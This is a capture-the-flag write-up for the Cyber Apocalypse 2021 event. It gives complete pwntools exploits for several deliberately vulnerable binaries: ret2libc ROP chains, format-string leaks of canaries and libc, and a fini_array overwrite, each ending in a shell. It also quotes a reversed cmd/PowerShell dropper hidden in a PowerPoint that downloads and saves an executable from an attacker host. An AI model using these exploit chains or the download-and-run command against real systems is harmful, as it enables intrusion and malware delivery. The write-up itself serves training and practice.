Cyber Apocalypse 2021

22 April is International Earth Day and guess what… The Earth was hacked by malicious extraterrestrials. Their ultimate plan is to seize control of our planet. It’s only you who can save us from this terrible fate.

PWN - Controller

First things first

This challenge is a simple x86-64 buffer overflow, which requires some reverse engineering to find a magic number.

The following protections are enabled:

CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL

By simply running the program, we can see that it’s a basic calculator that accepts two numbers and runs in a loop. Though we also quickly notice that it only accepts very small numbers.

┌──(kali㉿kali)-[~/ctf/cyber-apocalypse/pwn]
└─$ ./controller 

👾 Control Room 👾

Insert the amount of 2 different types of recources: 50
10
Choose operation:

1. ➕

2. ➖

3. ❌

4. ➗

> 3
50 * 10 = 500
Insert the amount of 2 different types of recources: 100
100
Choose operation:

1. ➕

2. ➖

3. ❌

4. ➗

> 2
We cannot use these many resources at once!

Let’s take a look at the disassembly in radare2

The program is calling a welcome function, then the calculator itself. The sym.calculator function then calls the function sym.calc, which does the actual computing. After that it compares the result with a hardcoded “magic” value and tells us a problem occured. Let’s take a look at it:

0x0040106e      e88efeffff     call sym.calc
0x00401073      8945fc         mov dword [var_4h], eax
0x00401076      817dfc3aff00.  cmp dword [var_4h], 0xff3a <-- magic value
0x0040107d      7572           jne 0x4010f1

The result is compared to the value 0xff3a or 65338 in decimal. If the result is equal, scanf is being called. This particular scanf will lead to a buffer overflow.

Inside the actual sym.calc function we can see that only values below 0x45 or decimal 65 are accepted.

So how do we compute 65338 from that? Easy, there is no lower boundary ;)

👾 Control Room 👾

Insert the amount of 2 different types of recources: -65338
-130676
Choose operation:

1. ➕

2. ➖

3. ❌

4. ➗

> 2
-65338 - -130676 = 65338
Something odd happened!
Do you want to report the problem?
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Problem ingored
zsh: segmentation fault  ./controller

You are leaking!

From this point it’s a pretty standard ret2libc attack. The website provided us with both the binary itself and the libc in use, so we can calculate our offsets from there.

Since ASLR will most likely be enabled on the target system, we need to leak a libc address first.

Generally the leak is done by using functions such as write, printf or puts that are already used in the program. We want to craft a puts() call with an argument that holds the value of an address. The Global Offset Table is an excellent target for that.

As per 64-Bit calling convention, the first argument is expected to be inside the RDI Register, so that’s where the GOT address goes.

The code to leak the address of puts looks like this:

pop_rdi = 0x4011d3

payload = 'A'*40
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(0x4006b0) # _start

r.sendline(payload)
r.recvuntil('\n')
leak = r.recv(6) + '\x00\x00'
puts = u64(leak)
log.info('Leaked puts @ %s' % hex(puts))

setup()
r.sendline(payload)

The Final Battle

After the leak we have to return to the start of the program, otherwise it will segfault and crash. Then we basically do the same thing again and overflow the buffer with our final ropchain, which will execute system("/bin/sh").

To do this, we need to calculate the offsets to system() & "/bin/sh" in libc.

┌──(kali㉿kali)-[~/ctf/cyber-apocalypse/pwn]
└─$ strings -t x libc.so.6 | grep /bin/sh
 1b3e1a /bin/sh
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + 0x1b3e1a

Now with the calculated addresses, the final ropchain can be built. Just like before, we pop the first argument (address of "/bin/sh") into RDI.

The 2nd payload will look like this:

payload = 'B'*40
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)

At the time we reached the system() call, the RSI Register was holding some data that led to an error. Since RSI usually holds the 2nd argument to a function call, we want to clear it out and set it to 0, otherwise the call will fail.

┌──(kali㉿kali)-[~/ctf/cyber-apocalypse/pwn]
└─$ python controller.py
[*] '/home/kali/ctf/cyber-apocalypse/pwn/controller'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/kali/ctf/cyber-apocalypse/pwn/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 138.68.182.108 on port 32404: Done
[*] Leaked puts @ 0x7f7f96687aa0
[*] Libc puts @ 0x80aa0
[*] Libc base @ 0x7f7f96607000
[*] System @ 0x7f7f96656550
[*] /bin/sh @ 0x7f7f967bae1a
[*] Switching to interactive mode
Problem ingored
$ cat flag.txt
CHTB{1nt3g3r_0v3rfl0w_s4v3d_0ur_r3s0urc3s}
$  

Finally, my full exploit looks like this:

from pwn import *

elf = ELF('./controller')
libc = ELF('./libc.so.6')

# setup

def setup():
    r.recvuntil('recources: ')
    r.sendline('-65338')
    r.sendline('-130676')
    r.recvuntil('> ')
    r.sendline('2')
    r.recvuntil('> ')

#r = process('./controller')
r = remote('139.59.185.150',32300)
setup()

# gadgets

pop_rdi = 0x4011d3
pop_rsi_r15 = 0x4011d1

# payload

payload = 'A'*40
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(0x4006b0) # _start

r.sendline(payload)
r.recvuntil('\n')
leak = r.recv(6) + '\x00\x00'
puts = u64(leak)
log.info('Leaked puts @ %s' % hex(puts))
log.info('Libc puts @ %s' % hex(libc.symbols['puts']))
libc_base = puts - libc.symbols['puts']
log.info('Libc base @ %s' % hex(libc_base))
system = libc_base + libc.symbols['system']
bin_sh = libc_base + 0x1b3e1a
log.info('System @ %s' % hex(system))
log.info('/bin/sh @ %s' % hex(bin_sh))

payload = 'B'*40
payload += p64(pop_rsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)

setup()
r.sendline(payload)
r.interactive()

🙄 yes i know, it’s still python2

Flag: CHTB{1nt3g3r_0v3rfl0w_s4v3d_0ur_r3s0urc3s}

PWN - Minefield

Humble Beginnings

This challenge was a simple, yet tricky one! Again we have a x86-64 binary with basic protections.

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

Let’s run it and see what the program does

┌──(kali㉿kali)-[~/ctf/cyber-apocalypse/pwn]
└─$ ./minefield 
Are you ready to plant the mine?
1. No.
2. Yes, I am ready.
> 2
We are ready to proceed then!
Insert type of mine: what
Insert location to plant: okay
We need to get out of here as soon as possible. Run!
zsh: segmentation fault  ./minefield

It segfaults immediately, but it doesn’t seem to be a buffer overflow. Running it in gdb we can take a look on what’s going wrong exactly.

The program segfaults on the following instruction

mov QWORD PTR [rax],rdx

As we can see both RAX & RDX are set to 0 at this point, which explains the segfault because it cannot access the address 0. So what exactly is happening?

In summary, the mission function reads 2 inputs, converts them to an unsigned long long and loads the results into RAX & RDX. Basically we have a constrained write-what-where primitive.

Taking a look at the r function, which is just a wrapper around read(), we can see it reads 9 bytes. This will be our constraint on what values we will be able to place in the registers.

0x0040092b      48897de8       mov qword [buf], rdi        ; arg1
0x0040092f      64488b042528.  mov rax, qword fs:[0x28]
0x00400938      488945f8       mov qword [canary], rax
0x0040093c      31c0           xor eax, eax
0x0040093e      488b45e8       mov rax, qword [buf]
0x00400942      ba09000000     mov edx, 9                  ; size_t nbyte
0x00400947      4889c6         mov rsi, rax                ; void *buf
0x0040094a      bf00000000     mov edi, 0                  ; int fildes
0x0040094f      e80cfeffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)

This means the biggest value we can use is 999999999 or 0x3b9ac9ff.

I have no idea what I’m doing

There isn’t much we can do with a single write unless we have some kind of win() function, so I took another look at the program.

And suprisingly there was one!

This particular function will simply execute system("cat flag*") and thus should print the flag to us.

At first my idea was to overwrite a GOT entry with this function’s address, but the problem was that no other function was called after our write had taken place.

gdb-peda$ vmmap
Start              End                Perm      Name
0x00400000         0x00402000         r-xp      /home/kali/ctf/cyber-apocalypse/minefield
0x00601000         0x00602000         rw-p      /home/kali/ctf/cyber-apocalypse/minefield
0x00007ffff7ded000 0x00007ffff7e12000 r--p      /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff7e12000 0x00007ffff7f5d000 r-xp      /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff7f5d000 0x00007ffff7fa7000 r--p      /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff7fa7000 0x00007ffff7fa8000 ---p      /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff7fa8000 0x00007ffff7fab000 r--p      /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff7fab000 0x00007ffff7fae000 rw-p      /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff7fae000 0x00007ffff7fb4000 rw-p      mapped
0x00007ffff7fcc000 0x00007ffff7fd0000 r--p      [vvar]
0x00007ffff7fd0000 0x00007ffff7fd2000 r-xp      [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 r--p      /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007ffff7fd3000 0x00007ffff7ff3000 r-xp      /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007ffff7ff3000 0x00007ffff7ffb000 r--p      /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p      /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p      /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p      mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p      [stack]

So we are looking for an address in the range 0x00601000-0x00602000 that is being triggered after our write took place, ideally some kind of exit hook.

Specifically I used a technique that overwrites a .DTORS entry, which is referenced after the main address returns. A similar paper can be found here.

┌──(kali㉿kali)-[~/ctf/cyber-apocalypse/pwn/challenge]
└─$ objdump -M intel -D minefield | grep fini                                   
  400c43:       48 8d 2d 2e 04 20 00    lea    rbp,[rip+0x20042e]        # 601078 <__do_global_dtors_aux_fini_array_entry>
0000000000400ca0 <__libc_csu_fini>:
Disassembly of section .fini:
0000000000400ca4 <_fini>:
Disassembly of section .fini_array:
0000000000601078 <__do_global_dtors_aux_fini_array_entry>:

Now we want to overwrite the address 0x601078 with the value of our win() function 0x0040096b.

Mission accomplished!

The last thing left to do is convert these values to decimal and input them!

Are you ready to plant the mine?
1. No.
2. Yes, I am ready.
> 2
We are ready to proceed then!
Insert type of mine: 6295672
Insert location to plant: 4196715
We need to get out of here as soon as possible. Run!

Mission accomplished! ✔
CHTB{d3struct0r5_m1n3f13ld}

Flag: CHTB{d3struct0r5_m1n3f13ld}

PWN - System dROP

How I didn’t solve it

Again this challenge is a x86-64 buffer overflow challenge. The crash is pretty straightforward and as the name already suggests we are supposed to use SROP. In 2019 I created a challenge about this exact technique, which you can find here.

But since we didn’t have a huge buffer to work with and ran into some problems, I decided to use the good ol ret2libc. You won’t be able to use that on my challenge though ;)

┌──(kali㉿kali)-[~/ctf/cyber-apocalypse/pwn/system_dROP]
└─$ ./system_drop

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault  ./system_drop

The Game Plan

As discussed earlier in the Controller challenge, we can use functions such as write, printf or puts to leak an address. Let’s see what we can work with in this challenge.

[0x00400450]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Finding function preludes
[x] Enable constraint types analysis for variables
[0x00400450]> afl
0x00400450    1 42           entry0
0x00400490    4 42   -> 37   sym.deregister_tm_clones
0x004004c0    4 58   -> 55   sym.register_tm_clones
0x00400500    3 34   -> 29   sym.__do_global_dtors_aux
0x00400530    1 7            entry.init0
0x004005e0    1 2            sym.__libc_csu_fini
0x004005e4    1 9            sym._fini
0x00400570    4 101          sym.__libc_csu_init
0x00400480    1 2            sym._dl_relocate_static_pie
0x00400541    1 47           main
0x00400430    1 6            sym.imp.alarm
0x00400440    1 6            sym.imp.read
0x00400537    1 7            sym._syscall
0x00400400    3 23           sym._init
[0x00400450]> 

Looks like we don’t have any of those functions that we could use. But instead there is something much more useful! A syscall;ret gadget.

0x0040053b      0f05           syscall
0x0040053d      c3             ret

Combined with the read() function we can use this to basically run any syscall we want, depending on the amount of bytes we are able to read.

Naturally read() stores the amount of bytes it was able to read in the RAX register, which just happens to be where syscall expects the syscall number to be.

For example if wanted to prepare an execve() syscall, we would return to read(), then read 59 or 0x3b bytes and return to our syscall gadget afterwards.

Dead End

At first I tried to set up an execve("/bin/sh") syscall in the way I just explained. I managed to place "/bin/sh" in a predictable location and set up the syscall but in the end it failed, because there was no way for me to clear out certain registers. You can see what it looks like in the following screenshot.

I believe it failed because RDX was set to 0x100 which isn’t a valid address. The execve() syscall expects a pointer to the evironment variables in RDX, const char *const envp[].

You can look at the syscalls and registers here.

So I decided to move on and try a different approach.

(If anyone managed to solve it this way, please do share your solution!)

The ol’ reliable

After these failures, I thought to myself “Why can’t I just use ret2libc?”. There was no reason that I couldn’t, so that’s exactly what I did!

As we learned, we can basically perform any syscall we like (with some constraints), so I simply used a write syscall to leak some libc addresses. This time we didn’t receive the libc binary, but we can still figure out the version of libc with the help of libc database.

The first payload to perform the leak looks like this

buf = 'A'*40
buf += p64(read) # to set up rax
buf += p64(pop_rdi)
buf += p64(1) # stdout
buf += p64(pop_rsi_r15)
buf += p64(elf.got['alarm'])
buf += p64(0)
buf += p64(syscall_ret)
buf += p64(_start)

First it returns to read(), which will result in the program waiting for our input. So we send exactly 1 byte, which will cause RAX to be set to 1.

Thanks to my teammate I later realized that this step wasn’t necessary since for some weird reason, the eax register is being set to 1 right after the read anyway.

0x00400564      e8d7feffff     call sym.imp.read
0x00400569      b801000000     mov eax, 1
0x0040056e      c9             leave
0x0040056f      c3             ret

But I kept it in because it’s a neat technique in my opinion 😄

This time i leaked the addresses of alarm & read, then looked up the libc version here.

From there on, the exploit is pretty much the same as in the controller challenge.

The full exploit looks like this:

from pwn import *

elf = ELF('./system_drop')
r = remote('138.68.185.219',32689)


# gadgets

syscall_ret = 0x40053b
read = 0x400440
pop_rdi = 0x4005d3
pop_rsi_r15 = 0x4005d1
_start = 0x400450

buf = 'A'*40
buf += p64(read)
buf += p64(pop_rdi)
buf += p64(1) # stdout
buf += p64(pop_rsi_r15)
buf += p64(elf.got['alarm'])
buf += p64(0)
buf += p64(syscall_ret)
buf += p64(_start)


r.send(buf)
r.send('A') # send 1 byte for write syscall

leak = u64(r.recv(8))
log.info('Leaked alarm: %s' % hex(leak))
system = leak - 0x950c0
bin_sh = leak + 0xcf80a
log.info('Libc system @ %s' % hex(system))
log.info('Libc bin_sh @ %s' % hex(bin_sh))
r.recv()

# new buf

buf = 'B'*40
buf += p64(pop_rdi)
buf += p64(bin_sh)
buf += p64(pop_rsi_r15)
buf += p64(0)
buf += p64(0)
buf += p64(system)

r.send(buf)

r.interactive()

Flag: CHTB{n0_0utput_n0_pr0bl3m_w1th_sr0p}

PWN - Harvester

Again we have a x86-64 binary, but with PIE and stack canaries enabled. The goal is to bypass these protections, and from there is the same procedure as the other 2 challenges.

The vulnerabilities

This time the leak is made easy in the form of a format string vulnerability.

┌──(kali㉿kali)-[~/ctf/cyber-apocalypse/pwn/challenge]
└─$ ./harvester

A wild Harvester appeared 🐦

Options:

[1] Fight 👊    [2] Inventory 🎒
[3] Stare 👀    [4] Run 🏃
> 1

Choose weapon:

[1] 🗡           [2] 💣
[3] 🏹          [4] 🔫
> %3$p

Your choice is: 0x7fbce12f3c0a

You are not strong enough to fight yet.

The buffer overflow can be triggered in a similar way to the calculator challenge. The stare function checks the number of pies we have and if it’s equal to 22

┌──(kali㉿kali)-[~/ctf/cyber-apocalypse/pwn/challenge]
└─$ ./harvester

A wild Harvester appeared 🐦

Options:

[1] Fight 👊    [2] Inventory 🎒
[3] Stare 👀    [4] Run 🏃
> 2

You have: 10 🥧

Do you want to drop some? (y/n)
> y

How many do you want to drop?
> -11

You have: 21 🥧

Options:

[1] Fight 👊    [2] Inventory 🎒
[3] Stare 👀    [4] Run 🏃
> 3

You try to find its weakness, but it seems invincible..
Looking around, you see something inside a bush.
[+] You found 1 🥧!

You also notice that if the Harvester eats too many pies, it falls asleep.
Do you want to feed it?
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

This did not work as planned..
*** stack smashing detected ***: terminated
zsh: abort      ./harvester

Feeding the harvester

Since we are abusing the format string to leak an address, we can only leak data from the stack instead of supplying our own address. That means we can’t easily leak GOT entrys.

What we can do, is set a breakpoint before the printf() call and search the stack for any libc related address. Additionally we need to leak a program address to calculate the pie base address.

I leaked the 13th stack value to calculate the pie base and the 21st value to calculate libc base.

The 13th value will always be the same and the offset should stay the same accross different systems.

It points to <harvest+119> and will something like this: 0x0000555555400eca

All we have to do is subtract 0xeca and we have the base address.

The 21st value points to <__libc_start_main+234> and will change depending on your libc version. For example I needed to subtract 234 on my local libc version, but only 231 on the libc version used on the target. Then we should have the address of __libc_start_main which we can use to calculate the libc base.

We must not forget to leak the canary value aswell, which can be found at the 11th stack value.

The libc was provided with the challenge, so the leaks and offsets will look like this:

canary = leak(11)
log.info('Leaked canary: %s' % hex(canary))
pie = leak(13) - 0xeca
log.info('Leaked pie base: %s' % hex(pie))
libc = leak(21) - 231
log.info('Leaked __libc_start_main: %s' % hex(libc))
libc_base = libc - 0x21b10
log.info('Libc base @ %s' % hex(libc_base))

# gadgets

system = libc + 0x2da40
bin_sh = libc + 0x19230a
pop_rdi = pie + 0x1063
pop_rsi_r15 = pie + 0x1061
one_gadget = libc_base + 0x4f3d5

Killing the harvester

Instead of setting up a system("/bin/sh") call I used a one_gadget, because I ran into some problems with the buffer size. Luckily there were a few available one_gadgets in the provided libc version, and one of them worked!

┌──(kali㉿kali)-[~/ctf/cyber-apocalypse/pwn]
└─$ one_gadget libc.so.6
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

My final exploit for the harvester challenge looks like this:

from pwn import *

#r = process('./harvester')
r = remote('188.166.172.13',31444)

# leak canary

def leak(num):
    r.recvuntil('> ')
    r.sendline('1')
    r.recvuntil('> ')
    r.sendline('%'+str(num)+'$p')
    r.recvuntil('Your choice is: ')
    leak = int(r.recvuntil('\x1b')[:-1],16)
    return leak

# leak pie base

canary = leak(11)
log.info('Leaked canary: %s' % hex(canary))
pie = leak(13) - 0xeca
log.info('Leaked pie base: %s' % hex(pie))
libc = leak(21) - 231
#libc = leak(21) - 234 # local
log.info('Leaked __libc_start_main: %s' % hex(libc))
libc_base = libc - 0x21b10
#libc_base = libc - 0x26c20 # local
log.info('Libc base @ %s' % hex(libc_base))

# gadgets

system = libc + 0x2da40
bin_sh = libc + 0x19230a
pop_rdi = pie + 0x1063
pop_rsi_r15 = pie + 0x1061
one_gadget = libc_base + 0x4f3d5 
#one_gadget = libc_base + 0xcbd20 # local

# bof

r.recvuntil('> ')
r.sendline('2')
r.recvuntil('> ')
r.sendline('y')
r.recvuntil('> ')
r.sendline('-11')
r.recvuntil('> ')
r.sendline('3')
r.recvuntil('> ')

payload = 'A'*40
payload += p64(canary)
payload += p64(0xdeadbeef)
payload += p64(one_gadget)
payload += 'A'*8

r.sendline(payload)
r.interactive()

Flag: CHTB{h4rv35t3r_15_ju5t_4_b1g_c4n4ry}

Forensics - Alien Phish

The PowerPoint Way

We are provided with a Powerpoint file. Opening it in PowerPoint we can see 1 slides, which tells us to ignore the security warning and enable the execution of external programs.

It’s possible to look at the command by selecting the slide and clicking “actions” as seen in the following screenshot.

The whole command is:

cmd.exe /V:ON/C"set yM="o$ eliftuo- exe.x/neila.htraeyortsed/:ptth rwi ;'exe.99zP_MHMyNGNt9FM391ZOlGSzFDSwtnQUh0Q' + pmet:vne$ = o$" c- llehsrewop&&for /L %X in (122;-1;0)do set kCX=!kCX!!yM:~%X,1!&&if %X leq 0 call %kCX:*kCX!=%"

I noticed it’s using a reversed string, which does some powershell stuff. The powershell part reversed looks like this:

powershell -c "$o = $env:temp + 'Q0hUQntwSDFzSGlOZ193MF9tNGNyMHM_Pz99.exe'; iwr http:/destroyearth.alien/x.exe -outfile $o"

So essentially the “phish” is downloading and external program to the temp directory and probably trying to execute it. In this case it’s an invalid domain so it doesn’t actually download anything.

The filename looks like it’s base64 encoded so let’s try to decode it! From the underscore character I realized it’s base64 url encoded:

Decoding it reveals the flag: CHTB{pH1sHiNg_w0_m4cr0s???}

The unzip way

Another way of solving this would be by statically analyzing the file. A PowerPoint file is nothing else than a fancy zip file, so let’s unzip it and look at the contents.

┌──(kali㉿kali)-[~/ctf/cyber-apocalypse/forensics]
└─$ unzip Alien\ Weaknesses.pptx -d AlienPhish

Archive:  Alien Weaknesses.pptx        
  inflating: AlienPhish/[Content_Types].xml
  inflating: AlienPhish/_rels/.rels
  inflating: AlienPhish/ppt/slides/_rels/slide1.xml.rels
  inflating: AlienPhish/ppt/_rels/presentation.xml.rels
  inflating: AlienPhish/ppt/presentation.xml
  inflating: AlienPhish/ppt/slides/slide1.xml
  inflating: AlienPhish/ppt/slideLayouts/_rels/slideLayout5.xml.rels
  inflating: AlienPhish/ppt/slideLayouts/_rels/slideLayout8.xml.rels
  inflating: AlienPhish/ppt/slideLayouts/_rels/slideLayout10.xml.rels
  inflating: AlienPhish/ppt/slideLayouts/_rels/slideLayout11.xml.rels
  inflating: AlienPhish/ppt/slideLayouts/_rels/slideLayout9.xml.rels
  inflating: AlienPhish/ppt/slideLayouts/_rels/slideLayout6.xml.rels
  inflating: AlienPhish/ppt/slideMasters/_rels/slideMaster1.xml.rels
  inflating: AlienPhish/ppt/slideLayouts/_rels/slideLayout1.xml.rels
  inflating: AlienPhish/ppt/slideLayouts/_rels/slideLayout2.xml.rels
  inflating: AlienPhish/ppt/slideLayouts/_rels/slideLayout3.xml.rels
  inflating: AlienPhish/ppt/slideLayouts/_rels/slideLayout7.xml.rels
  inflating: AlienPhish/ppt/slideLayouts/slideLayout11.xml
  inflating: AlienPhish/ppt/slideLayouts/slideLayout10.xml
  inflating: AlienPhish/ppt/slideLayouts/slideLayout3.xml
  inflating: AlienPhish/ppt/slideLayouts/slideLayout2.xml
  inflating: AlienPhish/ppt/slideLayouts/slideLayout1.xml
  inflating: AlienPhish/ppt/slideMasters/slideMaster1.xml
  inflating: AlienPhish/ppt/slideLayouts/slideLayout4.xml
  inflating: AlienPhish/ppt/slideLayouts/slideLayout5.xml
  inflating: AlienPhish/ppt/slideLayouts/slideLayout6.xml
  inflating: AlienPhish/ppt/slideLayouts/slideLayout7.xml
  inflating: AlienPhish/ppt/slideLayouts/slideLayout8.xml
  inflating: AlienPhish/ppt/slideLayouts/slideLayout9.xml
  inflating: AlienPhish/ppt/slideLayouts/_rels/slideLayout4.xml.rels
  inflating: AlienPhish/ppt/theme/theme1.xml
 extracting: AlienPhish/ppt/media/image1.png
 extracting: AlienPhish/ppt/media/image2.png
 extracting: AlienPhish/docProps/thumbnail.jpeg
  inflating: AlienPhish/ppt/presProps.xml
  inflating: AlienPhish/ppt/tableStyles.xml
  inflating: AlienPhish/ppt/viewProps.xml
  inflating: AlienPhish/docProps/app.xml
  inflating: AlienPhish/docProps/core.xml

The external program cmd is located in the ppt/slides/_rels/slide1.xml.rels file:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image1.png"/>
  <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="cmd.exe%20/V:ON/C%22set%20yM=%22o$%20eliftuo-%20exe.x/neila.htraeyortsed/:ptth%20rwi%20;'exe.99zP_MHMyNGNt9FM391ZOlGSzFDSwtnQUh0Q'%20+%20pmet:vne$%20=%20o$%22%20c-%20llehsrewop&amp;&amp;for%20/L%20%25X%20in%20(122;-1;0)do%20set%20kCX=!kCX!!yM:~%25X,1!&amp;&amp;if%20%25X%20leq%200%20call%20%25kCX:*kCX!=%25%22" TargetMode="External"/>
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/>
  <Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image2.png"/>
  <Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="cmd.exe" TargetMode="External"/>
</Relationships>

From here we simply have to html & url-decode the cmd, and analyze it the same way we have done before.

Forensics - Low Energy Crypto

The challenge provides us with a pcap file with captured bluetooth transmissions.

Without much knowledge about the protocols used I noticed one particular thing that was transmitted in plaintext, a RSA public key.

It’s possible to extract the public key directly through wireshark by selecting the L2CAP fragment, rightclicking and hitting export.

We do this for each fragment and concatenate the data until we get the full public key.

-----BEGIN PUBLIC KEY-----
MGowDQYJKoZIhvcNAQEBBQADWQAwVgJBAKKPHxnmkWVC4fje7KMbWZf07zR10D0m
B9fjj4tlGekPOW+f8JGzgYJRWboekcnZfiQrLRhA3REn1lUKkRAnUqAkCEQDL/3Li
4l+RI2g0FqJvf3ff
-----END PUBLIC KEY-----

Naturally we try to attack this public key and throw it at the tool RsaCtfTool, which will be able to recover the RSA private key!

-----BEGIN RSA PRIVATE KEY-----
MIIBSAIBAAJBAKKPHxnmkWVC4fje7KMbWZf07zR10D0mB9fjj4tlGkPOW+f8JGzg
YJRWboekcnZfiQrLRhA3REn1lUKkRAnUqAkCEQDL/3Li4l+RI2g0FqJvf3ffAkBY
f1ugn3b6H1bdtLy+J6LCgPH+K1E0clPrprjPjFO1pPUkxafxs8OysMDdT5VBx7dZ
RSLx7cCfTVWRTKSjwYKPAiEAy/9y4uJfkSNoNBaib393y3GZu+QkufE43A3BMLPC
NbcCIQDL/3Li4l+RI2g0FqJvf3fLcZm75CS58TjcDcEws8IQPwIgOPH5FJgQJVqt
p4YbY7+/yIp7p2fUakxUZS5op5whICsCICV6ZBfopz4GRE41SnXnOlBoO+WcFt1k
zxKFQDbsdw7HAiEAl75cvn4PGBPnzNuQy0356OtfwK/Q6QFWdxAaWm6ncSM=
-----END RSA PRIVATE KEY-----

But now what? What do we decrypt with this key? I took another look at the traffic and saw that after the public key was transmitted there was another transmission of L2CAP fragments. They didn’t have any plaintext so I just assumed it was the encrypted traffic.

Again I exported the data, removed the null bytes and decrypted it with openssl.

┌──(kali㉿kali)-[~/ctf/cyber-apocalypse/forensics/low_energy_crypto]
└─$ xxd encrypted.bin    
00000000: 3929 69b0 18ff a093 b9ab 5e45 ba86 b4aa  9)i.......^E....
00000010: 070e 78b8 39ab f113 77e7 8362 6d7f 9c40  ..x.9...w..bm..@
00000020: 9139 2aef 8e13 ae9a 2284 4288 e2d2 7f63  .9*.....".B....c
00000030: d2eb d0fb 9087 1016 fde8 7077 d50a e538  ..........pw...8
00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 00                             .....
                                                                                                                                                                                                                 
┌──(kali㉿kali)-[~/ctf/cyber-apocalypse/forensics/low_energy_crypto]
└─$ tr < encrypted.bin -d '\000' > new_encrypted.bin                         
                                                                                                                                                                                                                 
┌──(kali㉿kali)-[~/ctf/cyber-apocalypse/forensics/low_energy_crypto]
└─$ openssl rsautl -decrypt -in new_encrypted.bin -out flag.txt -inkey id_rsa
                                                                                                                                                                                                                 
┌──(kali㉿kali)-[~/ctf/cyber-apocalypse/forensics/low_energy_crypto]
└─$ cat flag.txt
CHTB{5p34k_fr13nd_4nd_3n73r}

Flag: CHTB{5p34k_fr13nd_4nd_3n73r}